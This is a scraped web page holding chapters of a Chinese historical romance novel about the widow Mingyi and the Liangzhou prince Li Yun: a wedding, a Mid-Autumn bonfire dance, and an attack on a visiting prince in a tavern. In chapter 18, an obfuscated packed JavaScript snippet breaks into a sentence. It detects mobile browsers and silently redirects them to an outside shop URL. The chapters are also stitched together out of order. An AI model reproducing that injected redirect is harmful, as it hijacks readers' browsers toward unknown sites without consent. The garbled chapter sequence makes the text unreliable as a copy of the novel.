从明华堂出来,恰好碰到已领完杖责的李澄,他被打得显然不轻,萍娘扶着才能一瘸一拐走着。 两人眼中只有彼此,并未看到明宜,一个虽受伤却喜笑颜开,一个面含担忧,却也如释重负。 明宜默默目送两人远去,也自顾地叹了口气。 有情人终成眷属总归是好事,他们不过是小人物,在这世道本就艰难。杨琅轻而易举便能用萍娘母子要挟李澄,而李澄的生死,对李赟来说,更只是转念之间的事。 自己何尝又不是? 虽是高门贵女,看着光鲜,却也逃不过嫁人困囿后宅的命运。 幼时她也曾天真地想过靠自己努力,在这世道挣出一条属于自己的康庄大道,但随着日渐长大,不得不接受现实,且不说女子能否建功立业独立门户,就算真做到,那必然也是一条充满艰难血腥的荆棘之路。 而她所追求的也不过是衣食无忧且自由,不值得拿性命去搏,所以她决定另辟蹊径,为自己找了另一条路。 如今她不缺财帛,又有侯夫人名头,往后余生大约是能过上安稳自由的日子。 思及此,她不由得庆幸般舒了口气。 18.第 18 章 明宜又是两日未再见到李赟,倒是周子炤来过两次芙蓉苑看她,与她抱怨表兄太忙,想见他一面都难。 及至这日傍晚,眼见快到晚膳时间,李赟身边的小厮忽然来通传。 “二夫人,王爷请您与他一起去吃喜酒。” 明宜不明所以:“吃喜酒?” 小厮笑眯眯道:“是王爷族弟李二郎李澄的喜酒。” 明宜不由大惊,原来那日李赟一句“即日成婚”不是随口说说。 只是杨琅才死了没几日,人都还未下葬,这边就办喜事,怎么都有点说不过去。 也不知是李赟的意思,还是李澄迫不及待想娶嫂嫂过门。 而自己与李澄不过打了两次照面,且实在也谈不上愉快,于情于理,都没必要去喝这杯喜酒。 不过李赟来传,她也不好拒绝,但还是没忍住惊讶问道:“怎么这么快?” 小厮笑眯眯道:“王爷让人帮忙操办的,说今日是个好日子,便赶紧办了。” 果然是李赟。 明宜想了想:“你稍等,我去取点东西。” 既是要喝喜酒,总不能空手而去。明宜让白芷去行囊里取出一块金锭。 她代表的是李悆,出手不能太寒碜。 待主仆二人跟着小厮到门口,便见停在门外不知等了多久的王府马车。 楚飞坐在马车外,显然是准备充当车夫。 “王爷楚大人,二夫人来了。”小厮拱手朝车上的人道。 楚飞朝明宜拱拱手:“二夫人请上车。” 明宜轻笑着摆摆手,左右看了看,只见到这一辆马车,而下一刻,马车车帘已被一只骨节分明的大手,从里面掀开。 李赟探出半截身子出来,看向下方的明宜:“弟妹,上来吧。” 先前因为李悆服丧,他都是穿着黑白两色的袍子,今日却是着一身明艳的镶金边绛紫锦袍,头上戴着紫玉冠。 他五官本就生得浓烈,被这身行头一衬,简直显出几分妖冶之色。 以至于明宜不由得怔了怔,及至小厮将马凳放在她跟前,她才反应过来,赶紧踩上凳子上车。 车中只有李赟一人,好在明宜还有一个白芷,免去了孤男寡女共处一车的尴尬。 “楚飞,驾车!”李赟开口吩咐。 “好嘞。” 明宜好奇问:“王爷只带楚飞一人么?” 低调虽是美德,但身为小凉王常遭刺杀,理应更加谨慎。只带一人出行,怎么看都有些不妥。 见她脸上狐疑神色,李赟颇有几分倨傲地轻笑了笑道:“这是凉州城,每一坊中都有卫军,每隔五十米便有暗桩。若有刺客,除非一击即中,否则只要几息的工夫,援兵便至。” 明宜心中暗暗惊讶,这凉州城显然比京城戒备更加森严。 思及此,她掀开车帘,好奇朝外看去。 街上熙熙攘攘,除了几个巡逻城卫,什么都看不出来。 不等她问,李赟已经解释道:“城中潜伏兵卒虽多,但一向不得打搅百姓日常生活。” 明宜放下车帘,轻笑道:“凉州城在阿兄治下,看来牢不可破。” 李赟淡声道:“虽然敢在城中闹事的人不多,但想闹事的却是不少。” 车内光线昏暗,男人俊美的脸半明半暗。明明什么都没做,说话的语气也堪称温和有礼,但就是给人一种莫名的威压感,以至于平日叽叽喳喳的白芷,大气都不敢出。 明宜不动声色打量对方一眼,想了想,道:“凉州安稳大宁便太平,没有阿兄和十万河西军,便没有京城这些年的太平日子。然而阿兄所受之苦,所处之危,我们却难以想象。” 李赟不以为意地低低笑了声:“弟妹当真这样认为?” 明宜刚刚这番话确实不是恭维,不管李赟其人行事如何,他能守住河西不被北狄铁蹄踏入,便是大宁朝廷和百姓的功臣。 自己也是大宁百姓。 日后在京城能长久过逍遥日子的前提,也是边境依旧安稳。 思及此,她轻笑着点头:“自然是真。”说着,又想到什么似的,补充道,“阿玉也常与我说起阿兄的英勇,说若不是阿兄能守住凉州,他也不可能在京城安稳度日。说起来,阿玉虽然体弱,但因为阿兄威名远扬,京中王公贵胄谁也不敢看轻他。” 这倒是事实,那些公子王孙背后如何评价李悆不好说,但当面没一个敢不敬的。 除却他深得景明帝关爱之外,很大原因乃是因为他的胞兄小凉王,虽身不在京城,战神之名却早家喻户晓。 李赟又是轻笑一声,不以为然道:“名声?我在京城的名声,只怕与阎罗别无二致吧?” 明宜讪讪轻咳了下:“若能让人闻名丧胆,那定是一个厉害的战将。” 李赟低低笑出声,忽然又撩起眼皮,在昏沉的光线中,直直朝她看过来:“你呢?” 明宜一愣:“嗯?” “弟妹可听到我的名字就被吓到?” 明宜反应过来,轻笑道:“阿兄说笑了,你是阿玉口中的好兄长,我怎会怕你?” 李赟靠在车厢,阖上双目轻轻笑了声,也不知是被这话取悦,还是对此不以为然。 过了片刻,明宜还是忍不住问道:“李澄婚事怎的这么快?来得及准备么?” 李赟闭着眼睛回道:“萍娘不想张扬,决定在家宴请几位亲朋做见证便好,也不用如何准备,今日正好是个吉日,我便让他们早些将事情了了。” 明宜试探道:“那位琅表兄还未下葬,这边就办喜事,会不会不太妥当?” 李赟掀起眼皮,朝她瞥过来 明宜顿时心里一惊,欲盖弥彰轻咳了声。 不该多嘴的。 李赟:“阿玉刚过世不久,表兄又出事,来一场喜事冲冲喜去去晦气,我看挺好。” 明宜:“……” 倒也没毛病。 她轻咳一声,没再多问。 李赟复又阖上双眸,继续做闭目养神状。 不知过了多久,马车进入一道街巷中,吆喝叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070191|194636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖声渐远,只有隐隐的人声。 吁—— 安车缓缓停下,楚飞的声音从外面传来:“王爷,到了!” 李赟睁开闭目养神的双眸,伸手掀开车帘,迈开长腿径自下了车,又立在车下,亲自为车上的人打帘。 明宜微微一怔,心道这人狠辣归狠辣,但却并非莽夫,而是教养很好的贵公子。 因没有马凳,明宜稍稍攥住裙摆,直接跳了下去。 车旁的男人顿时眉头一拧,收回打着帘的手,眼明手快攥住女人纤细手臂,将人扶住。 只是明宜落地时,脚下并未趔趄,身子也稳稳当当,倒是让男人伸出的手,看起来多此一举。 明宜则因为手臂被一只陌生大手攥住,下意识转头看去。 那是一只骨节分明的大手,隔着两层薄衫,也能感觉到指腹粗粝的茧。 “有劳阿兄。”明宜见对方一时没收回手,轻声开口。 李赟这才反应过来一般,松开被自己攥住的手臂,轻飘飘将手收回到身侧。 “弟妹比我以为的要矫捷。”男人淡声道。 明宜轻笑:“我倒也不是手无缚鸡之力。” 李赟点头:“嗯,不然也没法送阿玉回凉州。” 正说着,旁边宅门内,忽然传来一阵吵闹嚷嚷声。 李赟浓眉微蹙,阔步朝那半掩的大门走去。 这是一座两进的古朴小院,也难怪李澄一直住在永安园,许是院子太小,为了避嫌。 此时小院,已经挂上了大红灯笼,贴了大红喜字,四处洋溢着喜气洋洋。 只是院中的吵吵嚷嚷,与这喜气实在有些违和。 只见身着大红喜袍的李澄,正被几个年长者团团围住,指着鼻子斥责怒骂。 “李澄,你勾结刺客刺杀王爷,本该全家当诛,王爷宽宏大量饶你一命,本该为王爷做牛做马赎罪,可你倒好,转头就和你阿嫂成亲。” “且不说,平阳县主府上还在办丧事,光是你娶你寡嫂这事,就有违伦常,天理不容!” “没错!你们这婚事我们族中长辈绝不同意!” 李澄涨红脸,支支吾吾道:“各位叔伯,我与萍娘的婚事,是王爷应允的。何况我们沙狄人,本就没有这些束缚人的纲常伦理,叔伯们何必为难我和萍娘!” “少拿王爷压我们,我看王爷都还不知你这丑事!把他们这些都拆掉!” 李澄见人要去撕门窗上的喜字,慌忙要去阻止。 而就在此时,一道低沉冷冽的声音,在院中幽幽响起:“呵,好生热闹!李澄你不是说一切从简,只请几位亲朋么?原来还请了族中叔伯,也好,到底是终身大事,有叔伯见证,也才算名正言顺。” 几位长辈停下动作,齐齐转身看来,见到是李赟,脸色俱是一变,急匆匆上前,拱手道:“王爷,您怎的来了?” 李澄虚虚扶了扶最前方两人手臂,朗声笑道:“族中接连两场丧事,终于有一场喜事,我自是来吃杯喜酒,也算是沾点喜气去去晦气。” 23-30 第23章 第 22 章 有缘总会再相见 似是觉察她的目光,李赟忽然抬眸朝她看来,明宜欲盖弥彰般飞快挪开眼神,恰好看到周子炤,毫无形象地捧着一只烤羊腿,明明烫得直吸气,却不影响他啃得满嘴流油。 这皇室贵公子,倒是没了该有的骄矜。 明宜不由忍俊不禁。 与此同时,几个手持丝弦的伶人,齐齐来到篝火旁,一边弹动手中琴弦,一边围着篝火翩翩起舞。 圆月之下,丝弦如玉语,清风拂过也成韵。 王府的侍卫婢女们,很快按捺不住加入其中,围着篝火翩翩起舞。 周子炤啃完半只羊腿,丢给随从,拿了帕子擦擦手,笑嘻嘻跟上一个弹琵琶的娇媚女郎。 他并不擅跳舞,学着旁人动作,学出了手脚不协调的诙谐,直惹得那琵琶女咯咯直笑。 周子炤不干了:“这是你们凉州的火圈舞,我一个京城人,跳得不好看有何奇怪?”说着眼珠子一转,“不行,不能让我一个人出丑。” 说着,他笑嘻嘻跑到旁边,将默默看热闹的江寒拉起,又招呼其他侯府侍卫:“来来来,都来玩,可别让他们凉州人看扁了我们。” 江寒跟块硬邦邦的木头一样,被他连拉带拽扯到队伍中。 对方毕竟是皇子,江寒也不敢忤逆,硬着身子有样学样。 其余人见江寒跳起舞,也都按捺不住蠢蠢欲动,加入这篝火舞中。 比起王府众人,侯府来的这些护卫和仆妇,明显不太放得开,动作也颇有几分滑稽别扭。 但舞跳得如何不重要,重要的是这圆月之下的热闹气氛。 明宜也被这场景打动,嘴角忍不住弯得老高。 就在这时,周子炤又气喘吁吁跑到她跟前,道:“三娘子,快来一起跳啊!” “别了吧……我看着你们跳就行。” 周子炤啧了声,大喇喇道:“这里是凉州,快收起你那套大家闺秀的矜持做派!” 明宜轻咳一声,正犹豫着,跳了两圈的秋霜和寒露跑过来,拉着她和白芷:“二夫人和白芷姑娘,快随我们一起去跳吧。” “啊?”明宜还未反应过来,人已经离开了位子。 周子炤笑嘻嘻给秋霜白露比了个大拇指,又跑到整场唯一还坐着的人跟前。 明宜一边随着秋霜白露来到篝火,一边好奇回头朝主桌看去。 “表兄,你也来跳啊,让我们也瞧瞧小凉王的舞姿如何?” 李赟坐姿笔直,身旁的啸月已经叫人牵走。 他左手扶着酒盏,撩着眼皮似笑非笑看着面前的表弟,一副不为所动的模样。 秋霜在明宜耳畔小声道:“王爷从不跳舞,也就只有五殿下敢去请他。” 周子炤也是个执着的,见人杵着不动,干脆上手去拉他:“表兄,你装什么老古板,快来跟我们一起玩!” 然而李赟硬得跟石头似的,周子炤使出浑身解数,也没拉动一丝半点,急得直叫道:“楚飞,快来跟我一起拉你们王爷!” 楚飞闻言,蹭蹭从人圈里兴奋跑出来,只是刚跑到李赟桌前,被对方轻飘飘睨了眼,顿时一个急刹车顿在原地,摸着脑袋轻咳一声,再不敢上前。 周子炤撇撇嘴:“表兄瞧见没?你们凉王府的人,都怕你跟怕阎王似的,算了,指望不了。”说着,想到什么似的,一抬头,朝篝火处看来。 见对方看向自己,明宜顿时大感不妙。 果不其然,下一刻,周子炤已经抬起一只爪子,朝自己用力挥了挥:“三娘子,你来请你的好阿兄!我就不信表兄连你的面子都不给!” 原本一副悠然自得,任由周子炤耍赖的李赟,眉头忽然一蹙,抬眸越过身前人,朝明宜看去。 明宜可不想跟着周子炤胡闹,四目相对刹那,她立刻脑袋一转,装作没听到般,手舞足蹈没入了人群中。 周子炤见状,有些无语地眨眨眼睛,撇撇嘴无趣道:“懂不懂什么叫与民同乐?算了,不跳就不跳,你这样的人真没意思!” 说着将人松开,踅身准备回到舞蹈队伍中。 “谁说我不跳了!”李赟低沉的声音忽然响起。 周子炤双眼一亮,赶紧回身又去拉他。 李赟睨他一眼:“松开!” 周子炤才不管,依旧拉着他到了篝火旁。 原本跳得欢的众人,见到李赟加入其中,先是因为意外,有瞬间的停顿和安静,但旋即又爆发出喜悦的吆喝和欢呼。 明宜未曾料,李赟竟然也会来和大家一起撒欢,而且对方被拉到篝火旁时,正好与她打了照面。 然后便见他顺其自然进入队伍,跟在了自己身后。 不过这时的明宜,已被气氛感染,哪里还会在意这些细微末节。 身体里的酒意,在琴弦舞乐和欢声笑语中。渐渐蔓延看来,让几个月来压抑苦闷,终于找到一个释放的出口。 什么大家闺秀,什么矜持端庄,这些曾经用来自保的面具,在这一刻统统都卸下,她只想在这个异乡,与这里的人一样,肆无忌惮的载歌载舞,抛开所有忧愁。 原本因为李赟的加入,众人变得克制了几分,但很快又随着美妙丝弦纵情舞动。 难得“与民同乐”的小凉王,敷衍地随着队伍挪动,一派漫不经心地散漫状。 只有一双目光始终一错不错落在跟前的女子身上。 那原本娴静端庄的高门千金,舞姿豪迈爽朗,时而开怀大笑,时而附和着高歌,哪里还有京城贵女的模样? 唯独不同的是,饶是舞姿稍显生涩,却仍旧舞出了独属于她的摇曳生姿之态,配着那火光映衬下的明媚笑容,竟有几分迷魂夺魄。 不知是不是酒意上头,还是篝火太旺的缘故,李赟只觉得喉间有些发干,视线开始有些恍惚,周遭一切都从眸中退去,只留下眼前这道倩影。 及至被身后忘乎所以的周子炤狠狠撞了下,他才蓦地回神,下意识顿在原地,一动不动看着两步之遥的身影,飘然远去。 “表兄,杵着作何?”嫌他挡道的周子炤,拍拍他肩膀,在舞乐喧嚣中高声问道。 李赟心中忽然涌上一股烦闷之感,他深深吸了口气,将这躁乱压下去,又淡声道:“你们继续跳,我去休息会儿。” “哎——”周子炤冲着他高大挺拔的身影唤了声,见他步履坚决,撇撇嘴转身,又欢天喜地跳起来。 好久没这么肆意撒欢过,明宜几乎是全身心投入,及至跳出一头汗,累得气喘吁吁,她才停下。 周遭的人还在忘乎所以地舞着,她退到一旁,看着这不分男女不论贵贱的人们,此刻欢聚一堂,跳着同样的舞,心中不免有些宽慰。 她不想打扰这份欢快,只默默走到旁边去透气。 先是在座位上喝了杯茶水润了润嗓子,又抬头看了眼空中月圆,这才想起,只顾着热闹,竟是忘了好好赏月。 她大环顾了四周,瞥到不远处那高台上的凉亭。 倒是个好的观景台,抬头能赏月,低头能看众人起舞。 明宜没叫旁人,自己默默走了过去。 凉亭距离地上,有着十几米的台阶,她一边呼吸着两旁草木清香,一边不紧不慢走上去。 不曾想,刚走到高台,才发觉凉亭中原来已经坐了一个人,此刻正举杯独酌。 不是别人,正是李赟。 他独自一人在此,显然是不想被人打扰。 明宜立在原地,进也不是,退也不是。 还是觉察的李赟,缓缓转过头看向她,先开口道:“弟妹,来赏月?” 明宜不置可否,只轻咳一声:“我是不是叨扰阿兄了?” “无妨,过来坐罢。”李赟淡声道。 他的语气堪称温和,却仍旧有种不可违抗的感觉,简直像是一种命令。 明宜犹豫片刻,还是走进亭中,在其对面坐下。 李赟一手握起酒壶,一手拿过桌上那只空酒杯,边将杯斟满,边似笑非笑望着对面的明宜,他眸色清明,但没有寻常那么冰冷,多了一丝奇怪的迷离。 明宜笑问:“阿兄是喝醉了吗?” 毕竟刚刚可是连喝三盏。 李赟不置可否,只将酒杯推至她跟前,淡声问道:“去年的中秋,你是与母亲和阿玉一起过的吧?” 明宜点点头,去年中秋,她与李悆成婚已有月余,自然是一起过的。然后又想到什么似的,道:“前两年母亲也会召我去府上过中秋,算起来一起过了三个中秋。” 中秋团圆之日,本应在家中过,但宋家人多纷杂,她不愿虚与委蛇,后来便想了办法,让惠心公主将她召去府上。 惠心公主和李悆都是性情温和之人,府中也没有那么多规矩,与二人在一起,比在宋家自在许多。 李赟闻言,勾唇笑了笑,又问:“你们是如何过的?” 明宜想了想道:“母亲会亲手做月饼,她做的红豆月饼,十分美味,比京城所有酒楼的都好吃。” “是吗?”李赟自顾地拿起酒杯呷了口,轻描淡写道,“我倒是从未吃过。” 明宜心中微微一惊,不由哑然。 李赟却是轻笑了笑,继续道:“今年阿玉不在身边,母亲一个人,不知还会不会亲手做月饼?” 明宜犹疑了下,柔声道:“阿兄不用担心,圣上一向关爱母亲,定不会让她独自过节,几位皇子也一向与母亲亲近。” 原本她是怕李赟担心母亲丧子孤独,说到这里,却忽然觉得不对劲。她本是说得实情,但对于一个与母亲分别八年的儿子来说,这实情只怕有些讽刺。 她赶紧将话打住。 果不其然,李赟垂下眸子,手指摩挲了下酒杯边缘,淡声道:“嗯,母亲在凉州时,就常与几个侄儿有书信往来。” 可却在回京城的八年间,只叫阿玉在信中转达问候,从未亲自给自己写过信。 而那问候,只怕也是阿玉以母亲之名所说。 明宜想的也正是此事,从前她撞见李悆与兄长写信,对方便抱怨过母亲对兄长不关心,只能假装母亲在信中问候。 她一直不太明白,惠心公主性情柔善,对李悆也极其宠爱,怎的就对另一个儿子如此疏离淡漠? 明宜不动声色看了眼对面的男人,若不是见到李赟模样与惠心公主很有几分相似,她都怀疑二人是否亲生。 李赟说完,举起手中酒杯,又看了眼下方热闹场景,勾唇轻笑道:“王府好久没这么热闹,今年这中秋倒是应了佳节二字。”说着又看向明宜,“来,弟妹,阿兄敬你一杯。” 明宜见状,端起面前酒杯。 只是手指触上时,才发觉杯子是热的,而杯还未到嘴边,已经意识到这是茶而非酒。 她顿住手,有些奇怪地看向对面的人。 李赟已经将杯中茶水一饮而尽,见明宜端着杯子不再动,挑挑眉头:“弟妹怎么不喝?是这茶不合口味么?” 明宜笑着摇摇头:“我以为阿兄是在月下独酌?” 李赟轻笑:“赏月还是清明点才好。” 明宜也笑了笑,将茶水送到唇边,轻轻呷了口,沁人心脾的清香,从舌头滑至喉间,她不由得满足地喟叹一声:“好茶。” “这是凉州春尖茶。”李赟轻描淡写道。 明宜点点头,随口道:“听母亲和阿玉提过。” “母亲在京城还会喝春尖么?” 明宜道:“春尖在京城不常见,不过这回我回京,倒是可以给母亲带一些。” 李赟沉默片刻,才又顺着她的话问:“弟妹打算何时启程?” 明宜道:“我看了黄历,两天后便个宜出行的好日子,若是无其他事耽误,就那日启程吧,母亲想来也盼我早些回去。” 李赟拿起茶壶,往手中空杯再次注满茶水,然后垂着眼眸,端起茶杯慢条斯理抿了一口,点点头道:“也好,我再安排些人手护送你们。” 明宜想了想道:“没了棺椁要护送,我们已是一身轻,现在的人手足够了。” “凉州一带到底不太平,我至少让人送你们出凉州。” “那明宜就恭敬不如从命了。” 李赟抬眸看向她,轻轻勾了勾嘴角:“你我伯媳一场,本是一家人,却刚相识便要离别,下次再见不知是何时。” 明宜微微一怔,一时也不禁有些五味杂陈。 他一面觉得李赟此人危险可怕,一面又觉得此人可取之处颇多。 但无论怎样,他都是李悆的兄长。 明宜笑了笑道:“母亲还在京城,有缘总会再相见。” “有缘?”李赟玩味般咀嚼了这两个字,点点头笑说,“嗯,你说得没错。” 下方歌舞升平,热闹不已,周子炤舞得最欢,逗得王府几个少女花枝乱颤。 明宜又笑着随口道:“我会一直记得今年中秋。” 作者有话说:—— 无奖竞猜,女主能走吗? 下章v了 更新时间推迟一丢丢明天晚上十二点连更三章 第24章 第23章 一更 明宜喝完一杯茶, 便与李赟道别回去休息,对方还依旧留在亭中独自赏月。 因着好好闹腾了一番,这一夜, 明宜睡得极为踏实。 翌日醒来, 已经日上三竿,想着后天便要启程, 心情愈发轻松, 打算趁着这两天赶紧去采购些手信,也顺便去逛逛还没来得及逛的凉州城, 才算没白来一趟。 不想刚用过早膳, 周子炤便跑了过来, 说自己已是凉州通, 自告奋勇要给她做向导。 明宜自然是却之不恭。 周子炤只有一个随行侍卫,名唤叶六, 明宜则带了江寒和白芷, 几人彼此在京城便都已经见过,不算陌生。 待出了大门,上了马车, 明宜才想起来随口问道:“阿兄今日在府中吗?” 周子炤摇头:“一早就出去忙。”说着摊摊手, “河西十万兵几十万民, 外有北狄虎视眈眈,内有流寇时而作乱,东西商队使团都要从这里过,他一个凉王, 只怕比天子还操劳。” 明宜轻笑:“这话你也就在这里说说。” 周子炤不以为意地耸耸肩,笑说:“你也知这是凉州,难得没那些繁文缛节, 三娘子不如与我一样,肆意一些。” 明宜笑着打趣道:“五殿下说得自己好像在京城很规矩似的。” 周子炤也大笑,打起手中扇儿,摇头晃脑道:“不如饮美酒,被服纨与素。” 俨然是一副五陵少年纨绔状。 这位齐王殿下说自己是凉州通确实不是说大话,至少对城中吃喝玩乐绝对是熟门熟路。 有他这向导,明宜很顺利就大获丰收,买足了回京城的手信。 待逛得差不多,已临近晌午,周子炤爽快提议:“三娘子,既然出来,别只顾着采买,不如也趁机尝尝凉州美食美酒。” 明宜心道也是,虽然凉王府每日膳食很周全,京城凉州风味都有,但外面酒楼食肆与府中到底不同,外出旅行,哪有不在外面享用美食的道理,况且这辈子还不知有没有机会再来? 于是她欣然应允:“行,那我们去哪里吃?” 周子炤眉头一扬,笑道:“当然是城中最大酒肆仙悦居,听说最近来了一对姐妹花胡姬,琵琶弹得极好,美酒佳肴弦乐在侧,岂不快哉!” 明宜知他惯会吃喝玩乐,自然相信他推荐的不会有错,自己难得离开京城,李悆过世又已两月,也该让自己放松一些了。 仙乐居乃是一座双层大宅,虽是中午,也是顾客盈门,两个酒博士正站在门口殷勤地迎来送往。 周子炤显然是这仙乐居的常客,那酒博士一见到他,便笑容可掬迎上来:“哟,周郎君,好久没来啦!快里面请!” 明宜为方便出行,今日穿得是一身月白男式圆领袍,头发也只简单在头顶簪了个圆发髻,远远看上去像个十六七岁的少年郎,但近看还是女子模样。 大宁民风尚且开放,凉州民间则更甚,酒肆也常有女子出没,因而酒博士见到周子炤身旁的她和白芷,也并不奇怪,只笑嘻嘻领着人上楼。 到了楼上,那酒博士油嘴滑舌道:“小的猜到周郎君今日会来,专程为您留着您最喜欢的逍遥阁。” 周子炤对这显而易见的谄媚颇为受用,点点头从腰间豪爽掏出一枚银饼:“听说你们这里近日新来了一对姐妹花胡姬,把她们请过来。” 酒博士虽不知这位周郎是什么身份,但见其锦衣华服,操着京城口音,每次来吃酒,出手极为大方,想来是人傻钱多的京城贵公子。 只是这话,却让他面露难色:“哟,周郎君,真是不赶巧,那姐妹花刚被旁边春风阁的客人点走了。” 周子炤脸上的笑容,顿时凝住,他蹙了蹙眉,又从腰间掏出一枚银饼:“你去同隔壁商量,让他换一个。” “这……”酒博士看着他手中这枚银饼,笑嘻嘻接过,“周郎君您稍等,小的这就去帮您商量。” 待人离开,明宜笑说:“你这个散财童子的做派,来凉州这么久,带的银钱只怕早就花完了吧?” 周子炤哈哈大笑:“让三娘子你说中了,来凉州不到一个月,我带的盘缠就花得精光,如今都是花表兄的钱。他这个人抠门得很,问他要一贯钱都难,这银饼乃是我软磨硬泡才得来的。” 明宜道:“那你还这般轻松就花掉?” 周子炤不以为意道:“能买来开心,多少钱都值得。” 明宜笑着摇摇头,这便是不知人间疾苦的皇子了——哪怕只是一个不受宠的皇子。 至于小凉王的抠门,她倒是也了解,凉州作为藩地,不仅不能从朝廷得到拨款,还要每年纳贡,而凉州边陲之地,农业商贸与中原江南皆不可同耳语,又饱受狄患之苦,凭一己之力养十万大军的凉王府,只怕并不宽裕。 两人正说着,先前那酒博士去而复返,点头哈腰笑道:“周郎君,隔壁客人说,若是你们不介意,可以过去和他们共用一厅,他们只得三人,偌大厅冷清得很。” 周子炤皱了皱眉随口问:“他们什么人?” 酒博士道:“应是胡商。” 周子炤倒是不在意,只问明宜:“三娘子,你看如何?” 明宜道:“我都可以。” “行,那我们过去,你后日就走,大约没机会再来,错过了太可惜。” 酒博士闻言,忙笑容可掬领着几人去了隔壁。 仙乐居的雅间本就可做宴厅,坐二三十人也没问题。 三个人确实显得有些冷清。 果然是高鼻深目的胡人,中间那位应是主人,看起来只得十七八岁,朝几人瞧过来时,一双绿色的猫儿眼,扑闪扑闪着,透着股毫无城府的天真。 他先是朝几人咧嘴一笑,站起来拱手揖了一礼,又凑到左边年长者耳边,用他们的语言说了几句。 周子炤一边笑嘻嘻拱手,一边小声咕哝:“这胡人叽里咕噜说什么呢。” 明宜倒是听清楚了,不过她并未说什么。 那胡人少年说完,旁边的长者忙拱手笑嘻嘻道:“我们家郎君请几位入坐,他初来凉州,不懂这边流行什么曲子,请几位随便点。” 看样子这长者是译人,那胡人少年并不会汉话。 周子炤一听,也是爽快:“好好好,你们郎君愿意分享,那今日你们酒水,我买单。” 长者一听,歪头与主人翻译,那胡人少年闻言,露出个十分灿烂的笑容,又叽里呱啦说了几句。 长者点点头,又对周子炤道:“我们郎君说凉州人真热情,他很开心。” 周子炤不以为意地嗤了声,显然是觉得这胡人少年有些傻气,但还是笑着回道:“告诉你们郎君,不只是凉州,我们整个大宁都很热情好客。” 说着便示意了下身旁的明宜几人,来到三个胡人对面的位子落座。 酒博士端来美酒和好菜。 明宜低声问:“你早上说,东西商队使团都要过凉州,最近有使团经过吗?” 周子炤道:“有啊,大宛使团要去京城朝贡,这几日应该就会抵达凉州。” 明宜了然地点点头,瞥了眼对面那胡人少年,对方恰好也朝她看过来,露出一个友好而天真的笑。 她想了想,又小声问:“使团代表是什么人?” 周子炤道:“好像是大宛国小王子。” 明宜微微一愣,朝对面少年回以一笑。 就在这时,一对身穿红色襦裙,手捧琵琶的女子,跟着酒博士走了进来。 “各位客人,这是我们仙乐居新来的胡姬姐妹,名阿丽娅和阿古娅,你们想听什么曲儿,尽管点。”酒博士笑容可掬介绍道。 两位胡姬生得极为美艳,身材更是丰腴多姿,浓睫下两双深邃的褐眸,含情带水一般,在酒博士说话时,娇媚地看向朝屋中几人。 周子炤朝两人轻佻地眨眨眼睛,露出一副神魂颠倒的模样,笑嘻嘻赞道:“果然名不虚传!” 对面的译人又在给那小郎君翻译,小郎君点点头,然后朝明宜几人看过来,做了个有请的手势。 周子炤咕哝道:“这小胡商还挺懂礼数。”又问,“三娘子,你想听什么?” 明宜用只得两个人听到声音轻笑说:“在听曲儿上,殿下是行家,殿下做主便可。” 周子炤颇以为然地点点头:“这倒是。”说罢,大手一挥高声道,“那就先来一首《凉州曲》!” 两个胡姬巧笑嫣然躬身福了个礼,涂着艳红丹蔻的玉指轻抚琴弦,美妙琴声便如珠玉落盘流泻而出。 这《凉州曲》与明宜在京城听过的看似相同,却又有着明显的区别。传到京城的《凉州词》,得了京中文人填词,便多了一分京城的附庸风雅。 眼下这两个胡姬弹奏的《凉州曲》,只有曲没有词,但只几个音符,便让人感受到其中的辽远悲凉,脑中不由自主浮上远征将士,萧瑟戈壁、又有冷月,寒霜,来往商队,辛劳边民。 让人不由自主沉浸在这音乐似悲似喜的琴弦声中。 旁边的周子炤听得是如痴如醉,而对面那胡人少年,竟是不知不觉落下了眼泪。 明宜正暗自感叹这两个胡姬琴技了得时,却忽然发觉不太对劲。 只见原本在厅中随琴款款舞动的胡姬,距离对面少年越来越近,其中一个胡姬袖子轻飘飘从腰间拂过,再抬起时,手中赫然多了一把锃亮的匕首。 明宜大惊失色,下意识叫道:“当心!” 这话是朝对面胡人少年喊的,只是对方显然没反应过来,直到身旁护卫将他推开,他才后知后觉惊慌大叫。 当然吐出来的依旧是叽里咕噜的胡语。 他那护卫反应倒快,在推开主人时,腰间长剑已经出鞘,挡住了胡姬挥来的匕首。 但他挡住了一个,还有另一个。 趁着二人缠斗时,另外那胡姬也已经抽出腰间软剑,飞身朝胡人少年刺去。 这少年分明没习过武,只吓得面色苍白,双手撑地连连退后。 但他这挪动法,如何能快得过胡姬的剑。 不过刹那间,那剑已经直直刺向他的脖颈,千钧一发之间,那位译人忽然扑上前,将对方护在身后,用身体挡住了那锋利的剑。 随着少年的一声撕心裂肺的尖叫,那译人的鲜血顿时喷溅在空中。 这一切发生的太快,前后不过两息的工夫。 快得只来得及让酒博士惊叫一声连滚带爬躲去墙角,也只让这边的江寒叶六和白芷拔剑,挡在两个主子跟前。 周子炤吓得吱哇叫大叫,倒也不忘拉着明宜往后躲。 明宜虽然也被吓得一个激灵,但很快反应过来。她看出这两个胡姬绝非寻常高手,那护卫被其中一人缠住,根本就分不开身去保护自家主人。 另一个胡姬果断抽出刺中译人的剑,再次朝少年刺去。 明宜推了一把严阵以待挡在自己跟前的江寒,道:“快去救人!” “啊?”江寒不明所以。 明宜言简意赅吩咐:“快去!” 江寒一向尽职尽责,没再犹疑,飞身上前,在那软剑刺中少年脖颈前,及时挡下。 一头雾水的周子炤看向明宜,眨眨眼睛道:“三娘子,什么情况?我们现在不是应该逃出去么?” 白芷也点头附和:“娘子,这些不知是何人,我们赶紧走,以免被伤及无辜。” 明宜道:“那少年是大宛小王子,若是在凉州遇刺,只怕阿兄会有麻烦。” “啊?”周子炤瞪大眼睛,“大宛国小王子?!”—— 作者有话说:这三章留言发红包 人还在外,手机操作不便,尽量都发 第25章 第24章 二更 周子炤又转头看向对面少年, 仍旧只见对方叽里呱啦不知叫着什么。 “没错!”明宜点头回应他。 她紧张地看着战局,有了江寒的加入,如今变成二打二, 将两个胡姬牵制住, 